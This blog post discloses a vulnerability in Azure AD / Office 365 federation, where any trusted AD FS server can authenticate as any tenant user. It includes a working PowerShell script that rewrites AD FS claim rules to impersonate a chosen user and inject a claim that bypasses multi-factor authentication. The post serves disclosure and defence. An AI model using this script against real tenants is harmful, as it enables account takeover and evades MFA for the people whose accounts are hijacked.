Security vulnerability in Azure AD & Office 365 identity federation
In this blog, I will describe a security vulnerability I discovered and reported to Microsoft in October. The vulnerability was disclosed in LIVE!360 TECHMENTOR event in Orlando on Nov 16th 2017.
Federation trust created in Azure AD for a domain is tenant-wide, allowing logging in as any tenant user.
Identity federation between the on-premise directory and Azure AD can be implemented using different technologies. In this blog, I will use Active Directory Federation Services (AD FS) as an example.
There are two authentication types for domains in Azure AD; managed and federated. The difference between the two is how the users of that domain are authenticated. For managed domains, the users are always authenticated against the Azure AD. User objects and passwords are created directly to the Azure AD, or they can be synced from the on-premises directory. For federated domains, the authentication takes place outside the Azure AD, usually on on-premises AD FS server. This kind of arrangement is called a trust between Azure AD and AD FS.
It is fair to assume that the trust would be a domain-wide, i.e., AD FS could authenticate only users of the domain the trust is created. But no, this is not the case. All trusts are tenant-wide, i.e., any AD FS can authenticate users for any domain the tenant has. Before discussing the details, we need to understand how the federation trust works.
To convert a domain to federated, you just simply run a PowerShell command on your AD FS server:
Convert-MsolDomainToFederated -DomainName any.o365domain.org
Naturally, you must set up and configure the AD FS server before running the command. When you run the command, it sets all the required information about the AD FS to Azure AD for the federated domain. It also creates a relying party trust for the Azure AD to the local AD FS server. When a user is authenticated on AD FS, it creates a security token including claims about the user’s identity. With Azure AD, two claims are used for authentication; UserPrincipalName and ImmutabledId. The former is self-explanatory, but the latter one is not as obvious. Basically, the ImmutableId could be any string, as long as it matches the ImmutableId attribute of the user object in Azure AD. Typically the ImmutableId is a base 64 encoded GUID of the user object in on-premises AD (to convert GUID to immutable ID see the tools page). Converting the domain to federated also creates two claim issuance rules. For short, the rules add the UserPrincipalName and ImmutableId claims of the logged in user to the security token. When security token is delivered to Azure authentication platform, it checks the token signature, and if it matches the trust, the user is granted access.
So, to authenticate user, the security token must have claims for UserPrincipalName and ImmutableId, but only the ImmutableId must match the user’s information in Azure AD. Moreover, Azure AD does not check which users the AD FS tries to authenticate, it only checks the token signature. As a result, any AD FS server can authenticate any user of any domain of the tenant! Yes, you can also authenticate as .onmicrosoft.com users and external users, as long as the ImmutableId matches.
For cloud-only users (i.e., those not synced from on-premises AD), .onmicrosoft.com, and external users, you need to set the ImmutableId using the following command:
Set-MsolUser -UserPrincipalName "email@example.com" -ImmutableId "anystring"
To log in as any user you want, you need to alter the default claim issuance rules. The following script prompts you for the UserPrincipalName and ImmutableId of the user and alters the rules.
$rules_file="$HOME\adfs_rules.txt" # Prompt for the UserPrincipalName and ImmutableId $upn=Read-Host -Prompt "Give the UserPrincipalName" $immutableid=Read-Host -Prompt "Give the ImmutableId for $upn" # Create UserPrincipalName rule $upn_rule="=> issue(Type = ""http://schemas.xmlsoap.org/claims/UPN"", Value=""$upn"");" # Create Immutable Id rule $immutableid_rule="=> issue(Type = ""http://schemas.microsoft.com/LiveID/Federation/2008/05/ImmutableID"", Value=""$immutableid"");" # Create a rule to bypass Multi Factor Authentication (not mandatory) $bypass_mfa_rule="=> issue(Type = ""http://schemas.microsoft.com/claims/authnmethodsreferences"", Value =""http://schemas.microsoft.com/claims/multipleauthn"");" # Create the rules file New-Item $rules_file -type file -Force -Value "$upn_rule`r`n$immutableid_rule`r`n$bypass_mfa_rule" # Apply the new rules Set-AdfsRelyingPartyTrust -TargetName "Microsoft Office 365 Identity Platform" -IssuanceTransformRulesFile $rules_file
After altering the rules, login to AD FS using any existing credentials, and you’ll be logged in as the user specified by the rules above.
Note! To exploit the vulnerability, you don’t need access to organization’s AD FS server. You only need Global Admin rights to Azure AD/Office 365, a domain to convert to federated, and a standalone server with AD DS and AD FS.
The vulnerability impacts all Office 365 and Azure AD tenants.
There is no known solution for the vulnerability. To minimize the risk of exploitation, remove ALL unnecessary Global Admin rights from Azure AD / Office 365 and limit access to existing AD FS server.
Update: Microsoft’s response
I finally got a response from Microsoft on Feb 8th 2018:
“Microsoft does not consider the described to be a security threat in Office 365.”
Apparently this means that this will not be fixed and the “feature” will remain also in the future. This is alarming to Europen organizations, as their Office 365 environments are not GDPR compliant.
I’ll be working to find a solution to prevent the exploitation of the vulnerability.